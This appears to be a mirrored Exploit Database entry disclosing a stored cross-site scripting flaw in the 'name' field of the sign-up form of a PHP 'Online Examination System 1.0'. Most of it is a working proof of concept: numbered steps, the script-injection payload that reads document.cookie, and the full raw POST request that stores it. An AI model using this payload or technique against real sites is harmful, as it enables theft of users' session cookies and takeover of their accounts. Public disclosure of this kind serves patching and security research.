Online Examination System 1.0 – ‘name’ Stored Cross Site Scripting

• Exploit Database
• 13 阅读

• 作者： Nikhil Kumar
  日期： 2020-10-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48969/

• # Exploit Title: Online examination system 1.0 - 'name' Stored Cross Site Scripting
  # Date: 29/10/2020
  # Exploit Author: Nikhil Kumar (https://www.linkedin.com/in/nikhil-kumar-4b9443166/)
  # Vendor Homepage: https://github.com/projectworldsofficial/online-examination-systen-in-php
  # Software Link: https://github.com/projectworldsofficial/online-examination-systen-in-php.git
  # Version: 1.0
  # Tested On: Ubntu 18 + Xampp-linux-x64-5.5.38-3
  
  Step 1: Open the URL http://localhost/online-examination-systen-in-php/index.php and fill the sign up form 
  
  http://localhost/exam_system/sign.php?q=account.php
  
  Step 2 : Use payload ><script>alert(document.cookie)</script> in "name=" field 
  
  Malicious Request
  -----------------
  
  POST /exam_system/sign.php?q=account.php HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 157
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/exam_system/index.php
  Cookie: security_level=1; PHPSESSID=kue9gcj3bs2329e8mctsokaod7
  Upgrade-Insecure-Requests: 1
  
  name=test><script>alert(document.cookie)</script>&gender=M&college=test&email=test@test.com&mob=8888888888&password=123456&cpassword=123456
  
  
  Step 3: Cookie will be reflected each time user logged in with their credentials